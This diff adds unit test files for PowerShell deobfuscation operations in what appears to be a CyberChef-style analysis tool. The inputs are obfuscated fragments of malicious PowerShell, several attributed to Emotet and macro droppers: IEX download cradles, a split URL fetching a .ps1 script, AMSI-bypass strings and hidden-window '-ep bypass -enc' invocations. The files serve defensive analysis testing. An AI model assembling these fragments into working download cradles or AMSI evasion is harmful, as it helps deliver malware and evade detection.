"name": "PowerShell Char Decode: mixed case [Char]",
|
||||||
|
"input": "[Char]65",
|
||||||
|
"expectedOutput": "A",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: char array with spaces after commas",
|
||||||
|
"input": "[char[]](73, 69, 88)",
|
||||||
|
"expectedOutput": "\"IEX\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: ieX via hex char array (Hatching.io sample)",
|
||||||
|
"input": "[char[]](0x69,0x65,0x58)",
|
||||||
|
"expectedOutput": "\"ieX\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: Write-Output cmdlet via decimal char array",
|
||||||
|
"input": "[char[]](87,114,105,116,101,45,79,117,116,112,117,116)",
|
||||||
|
"expectedOutput": "\"Write-Output\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: AmsiUtils via decimal char array",
|
||||||
|
"input": "[char[]](65,109,115,105,85,116,105,108,115)",
|
||||||
|
"expectedOutput": "\"AmsiUtils\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: Get-Process via hex char array",
|
||||||
|
"input": "[char[]](0x47,0x65,0x74,0x2d,0x50,0x72,0x6f,0x63,0x65,0x73,0x73)",
|
||||||
|
"expectedOutput": "\"Get-Process\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: Invoke-Expression embedded in script",
|
||||||
|
"input": "$c = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110); & $c",
|
||||||
|
"expectedOutput": "$c = \"Invoke-Expression\"; & $c",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Char Decode: out-of-range value left unchanged",
|
||||||
|
"input": "[char]99999",
|
||||||
|
"expectedOutput": "[char]99999",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
|
||||||
|
}
|
||||||
|
]);
|
||||||
119
tests/operations/tests/PowerShellConcatenationJoin.mjs
Normal file
119
tests/operations/tests/PowerShellConcatenationJoin.mjs
Normal file
@ -0,0 +1,119 @@
|
|||||||
|
/**
|
||||||
|
* PowerShell Concatenation Join tests
|
||||||
|
*
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
import TestRegister from "../../lib/TestRegister.mjs";
|
||||||
|
|
||||||
|
TestRegister.addTests([
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: two single-quoted fragments",
|
||||||
|
"input": "'Invoke' + '-Item'",
|
||||||
|
"expectedOutput": "'Invoke-Item'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: two double-quoted fragments",
|
||||||
|
"input": "\"Invoke\" + \"-Expression\"",
|
||||||
|
"expectedOutput": "\"Invoke-Expression\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: three-fragment chain",
|
||||||
|
"input": "'In' + 'vo' + 'ke-Item'",
|
||||||
|
"expectedOutput": "'Invoke-Item'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: five-fragment chain",
|
||||||
|
"input": "'In' + 'v' + 'ok' + 'e-' + 'Item'",
|
||||||
|
"expectedOutput": "'Invoke-Item'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: mixed single + double quotes",
|
||||||
|
"input": "\"New-\" + 'Object'",
|
||||||
|
"expectedOutput": "\"New-Object\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: mixed double + single quotes",
|
||||||
|
"input": "'New-' + \"Object\"",
|
||||||
|
"expectedOutput": "'New-Object'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: embedded in a script",
|
||||||
|
"input": "$x = 'Do' + 'wn' + 'load' + 'File'\n$y = 'normal'",
|
||||||
|
"expectedOutput": "$x = 'DownloadFile'\n$y = 'normal'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: multiple independent concatenations on same line",
|
||||||
|
"input": "('Ne' + 'w-' + 'Ob' + 'ject') ('Do' + 'wn' + 'load' + 'File')",
|
||||||
|
"expectedOutput": "('New-Object') ('DownloadFile')",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: no concatenation — passthrough",
|
||||||
|
"input": "$x = 'Invoke-Expression'",
|
||||||
|
"expectedOutput": "$x = 'Invoke-Expression'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: empty input",
|
||||||
|
"input": "",
|
||||||
|
"expectedOutput": "",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: variable operand left untouched",
|
||||||
|
"input": "'Invoke-' + $suffix",
|
||||||
|
"expectedOutput": "'Invoke-' + $suffix",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: spaces inside strings preserved",
|
||||||
|
"input": "'Net.' + 'Web' + 'Client'",
|
||||||
|
"expectedOutput": "'Net.WebClient'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: extra whitespace around plus",
|
||||||
|
"input": "'foo' + 'bar'",
|
||||||
|
"expectedOutput": "'foobar'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: IEX AMSI bypass pattern",
|
||||||
|
"input": "$a = 'Am' + 'si' + 'Ut' + 'ils'",
|
||||||
|
"expectedOutput": "$a = 'AmsiUtils'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: Emotet-style URL split",
|
||||||
|
"input": "'h' + 'tt' + 'p://' + '192' + '.168' + '.1' + '.71' + '/hello.ps1'",
|
||||||
|
"expectedOutput": "'http://192.168.1.71/hello.ps1'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: DownloadFile method name split",
|
||||||
|
"input": "'Down' + 'load' + 'File'",
|
||||||
|
"expectedOutput": "'DownloadFile'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: IEX single-char split",
|
||||||
|
"input": "'I' + 'E' + 'X'",
|
||||||
|
"expectedOutput": "'IEX'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Concatenation Join: Set-StrictMode split",
|
||||||
|
"input": "'Se' + 't-' + 'St' + 'ric' + 'tMo' + 'de'",
|
||||||
|
"expectedOutput": "'Set-StrictMode'",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
|
||||||
|
}
|
||||||
|
]);
|
||||||
101
tests/operations/tests/PowerShellDecodeEncodedCommand.mjs
Normal file
101
tests/operations/tests/PowerShellDecodeEncodedCommand.mjs
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
/**
|
||||||
|
* PowerShell Decode EncodedCommand tests
|
||||||
|
*
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
import TestRegister from "../../lib/TestRegister.mjs";
|
||||||
|
|
||||||
|
TestRegister.addTests([
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: raw Base64 only",
|
||||||
|
"input": "SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: -enc prefix",
|
||||||
|
"input": "-enc SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: -EncodedCommand prefix",
|
||||||
|
"input": "-EncodedCommand SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: full powershell invocation with flags",
|
||||||
|
"input": "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: pwsh with hidden window",
|
||||||
|
"input": "pwsh -WindowStyle hidden -NonInteractive -enc SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: Get-Process command",
|
||||||
|
"input": "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
|
||||||
|
"expectedOutput": "Get-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: Invoke-Expression command",
|
||||||
|
"input": "-enc SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==",
|
||||||
|
"expectedOutput": "Invoke-Expression",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: multi-word command",
|
||||||
|
"input": "powershell -enc TgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA",
|
||||||
|
"expectedOutput": "New-Object Net.WebClient",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: -e abbreviation",
|
||||||
|
"input": "-e SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: mixed-case flag",
|
||||||
|
"input": "-Enc SQBFAFgA",
|
||||||
|
"expectedOutput": "IEX",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: whoami recon command",
|
||||||
|
"input": "dwBoAG8AYQBtAGkA",
|
||||||
|
"expectedOutput": "whoami",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: Set-ExecutionPolicy Bypass preamble",
|
||||||
|
"input": "UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUA",
|
||||||
|
"expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process -Force",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: full cmdline with -nop -w hidden flags",
|
||||||
|
"input": "powershell.exe -nop -w hidden -noni -enc RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
|
||||||
|
"expectedOutput": "Get-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: -ec abbreviated flag",
|
||||||
|
"input": "-ec JABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFAA==",
|
||||||
|
"expectedOutput": "$env:COMPUTERNAME",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Decode EncodedCommand: token with surrounding double-quotes stripped",
|
||||||
|
"input": "-enc \"RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==\"",
|
||||||
|
"expectedOutput": "Get-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
|
||||||
|
}
|
||||||
|
]);
|
||||||
222
tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs
Normal file
222
tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs
Normal file
@ -0,0 +1,222 @@
|
|||||||
|
/**
|
||||||
|
* PowerShell Format String Deobfuscate tests
|
||||||
|
*
|
||||||
|
* @author vigneshrajan94
|
||||||
|
* @copyright Crown Copyright 2026
|
||||||
|
* @license Apache-2.0
|
||||||
|
*/
|
||||||
|
import TestRegister from "../../lib/TestRegister.mjs";
|
||||||
|
|
||||||
|
TestRegister.addTests([
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: canonical reordered example",
|
||||||
|
"input": "(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")",
|
||||||
|
"expectedOutput": "Set-StrictMode",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: identity ordering (no scrambling)",
|
||||||
|
"input": "(\"{0}{1}{2}\" -f \"New\",\"-\",\"Object\")",
|
||||||
|
"expectedOutput": "New-Object",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: single argument",
|
||||||
|
"input": "(\"{0}\" -f \"hello\")",
|
||||||
|
"expectedOutput": "hello",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: two expressions on the same line",
|
||||||
|
"input": "(\"{0}{1}\" -f \"Invoke\",\"-Expression\") + (\"{1}{0}\" -f \"Shell\",\"Power\")",
|
||||||
|
"expectedOutput": "Invoke-Expression + PowerShell",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: embedded in a larger script",
|
||||||
|
"input": "$x = (\"{1}{0}\" -f \"Object\",\"New-\"); $x.GetType()",
|
||||||
|
"expectedOutput": "$x = New-Object; $x.GetType()",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: single-quoted template",
|
||||||
|
"input": "('{0}{1}' -f \"foo\",\"bar\")",
|
||||||
|
"expectedOutput": "foobar",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: single-quoted arguments",
|
||||||
|
"input": "(\"{0}{1}\" -f 'foo','bar')",
|
||||||
|
"expectedOutput": "foobar",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: all single quotes",
|
||||||
|
"input": "('{1}{0}' -f 'World','Hello')",
|
||||||
|
"expectedOutput": "HelloWorld",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: extra whitespace around -f and args",
|
||||||
|
"input": "( \"{0}{1}\" -f \"abc\" , \"def\" )",
|
||||||
|
"expectedOutput": "abcdef",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: spaces inside argument values",
|
||||||
|
"input": "(\"{0} {1}\" -f \"Hello\",\"World\")",
|
||||||
|
"expectedOutput": "Hello World",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: comma inside a quoted argument value",
|
||||||
|
"input": "(\"{0}{1}\" -f \"hello, world\",\"!\")",
|
||||||
|
"expectedOutput": "hello, world!",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: literal text between placeholders",
|
||||||
|
"input": "(\"{0} ran {1}\" -f \"PowerShell\",\"successfully\")",
|
||||||
|
"expectedOutput": "PowerShell ran successfully",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: repeated index",
|
||||||
|
"input": "(\"{0}{0}{0}\" -f \"abc\")",
|
||||||
|
"expectedOutput": "abcabcabc",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: out-of-range index left unchanged",
|
||||||
|
"input": "(\"{0}{5}\" -f \"a\",\"b\",\"c\")",
|
||||||
|
"expectedOutput": "a{5}",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: no format strings — input passes through unchanged",
|
||||||
|
"input": "$x = \"hello\"\nWrite-Host $x",
|
||||||
|
"expectedOutput": "$x = \"hello\"\nWrite-Host $x",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: empty input",
|
||||||
|
"input": "",
|
||||||
|
"expectedOutput": "",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: multiline input with expressions on different lines",
|
||||||
|
"input": "(\"{1}{0}\" -f \"Object\",\"New-\")\n(\"{0}{1}\" -f \"Invoke\",\"-Expression\")\n$plain = \"untouched\"",
|
||||||
|
"expectedOutput": "New-Object\nInvoke-Expression\n$plain = \"untouched\"",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: special characters in arguments (dollar, dot, backslash)",
|
||||||
|
"input": "(\"{0}{1}{2}\" -f \"C:\\\\Windows\",\"\\\\\",\"System32\")",
|
||||||
|
"expectedOutput": "C:\\\\Windows\\\\System32",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: five-arg scramble (malware-like)",
|
||||||
|
"input": "(\"{3}{1}{4}{0}{2}\" -f \"ial\",\"Cred\",\"s\",\"Get-\",\"ent\")",
|
||||||
|
"expectedOutput": "Get-Credentials",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: mixed with non-matching parenthetical expressions",
|
||||||
|
"input": "if ($x -gt 5) { (\"{1}{0}\" -f \"host\",\"Write-\") }",
|
||||||
|
"expectedOutput": "if ($x -gt 5) { Write-host }",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: large index values",
|
||||||
|
"input": "(\"{2}{0}{1}\" -f \"b\",\"c\",\"a\")",
|
||||||
|
"expectedOutput": "abc",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: single character fragments",
|
||||||
|
"input": "(\"{2}{0}{1}\" -f \"e\",\"t\",\"s\")",
|
||||||
|
"expectedOutput": "set",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: ten-fragment highly scrambled string",
|
||||||
|
"input": "(\"{5}{3}{0}{7}{1}{6}{2}{9}{4}{8}\" -f \"l\",\"o\",\"o\",\"e\",\"l\",\"h\",\"w\",\"l\",\"d\",\"r\")",
|
||||||
|
"expectedOutput": "helloworld",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: IEX obfuscation pattern",
|
||||||
|
"input": "$cmd = (\"{1}{0}{2}\" -f \"x\",\"IE\",\"\")\n& $cmd (\"{0}{1}\" -f \"Get-\",\"Process\")",
|
||||||
|
"expectedOutput": "$cmd = IEx\n& $cmd Get-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── OSINT samples from real-world malware ─────────────────────────────────
|
||||||
|
// Source: Emotet dropper (Softscheck / gist softSCheck)
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - new-object (single-quoted args, no space before -f)",
|
||||||
|
"input": "(\"{0}{2}{1}\" -f'new-ob','t','jec')",
|
||||||
|
"expectedOutput": "new-object",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - WScript.Shell (zero spaces around -f)",
|
||||||
|
"input": "(\"{0}{1}{2}\"-f'WScrip','t.Shel','l')",
|
||||||
|
"expectedOutput": "WScript.Shell",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - DownloadFile (four scrambled fragments)",
|
||||||
|
"input": "(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')",
|
||||||
|
"expectedOutput": "DownloadFile",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - Start-Process (four fragments)",
|
||||||
|
"input": "(\"{0}{2}{1}{3}\" -f 'St','s','art-Proce','s')",
|
||||||
|
"expectedOutput": "Start-Process",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - write-host (four scrambled fragments)",
|
||||||
|
"input": "(\"{3}{2}{0}{1}\" -f'e-','host','rit','w')",
|
||||||
|
"expectedOutput": "write-host",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: Emotet - download cradle (two expressions on one line)",
|
||||||
|
"input": "$wc = (\"{2}{0}{1}\"-f 'ob','ject','new-'); $wc.(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')($url, $path)",
|
||||||
|
"expectedOutput": "$wc = new-object; $wc.DownloadFile($url, $path)",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
// Source: Malicious Word doc (MalSecHunter, 2020)
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: MalSecHunter 2020 - New-Variable with mixed casing",
|
||||||
|
"input": "(\"{1}{3}{0}{2}\" -f 'VaRi','nE','aBlE','w-')",
|
||||||
|
"expectedOutput": "nEw-VaRiaBlE",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
// Source: r00t-3xp10it obfuscation guide (GitHub)
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: r00t-3xp10it - Invoke-Expression (five fragments)",
|
||||||
|
"input": "(\"{3}{0}{2}{1}{4}\" -f'voke','es','-Expr','In','sion')",
|
||||||
|
"expectedOutput": "Invoke-Expression",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
// Source: ANY.RUN sandbox report (Feb 2019 Excel macro dropper)
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: ANY.RUN 2019 - ENvIRoNmeNt ([Type] cast target)",
|
||||||
|
"input": "(\"{1}{0}{2}\" -f'vI','EN','RoNmeNt')",
|
||||||
|
"expectedOutput": "ENvIRoNmeNt",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
},
|
||||||
|
// Source: Generic IEX download cradle (common commodity malware pattern)
|
||||||
|
{
|
||||||
|
"name": "PowerShell Format String Deobfuscate: IEX download cradle (three reconstructed strings)",
|
||||||
|
"input": "(\"{1}{0}\" -f 'ex','i') ((\"{2}{0}{1}\" -f '-Ob','ject','New') Net.WebClient).(\"{0}{1}{2}{3}{4}\" -f 'Down','lo','ad','Str','ing')($url)",
|
||||||
|
"expectedOutput": "iex (New-Object Net.WebClient).DownloadString($url)",
|
||||||
|
"recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
|
||||||
|
}
|
||||||
|
]);
|
||||||
Loading…
x
Reference in New Issue
Block a user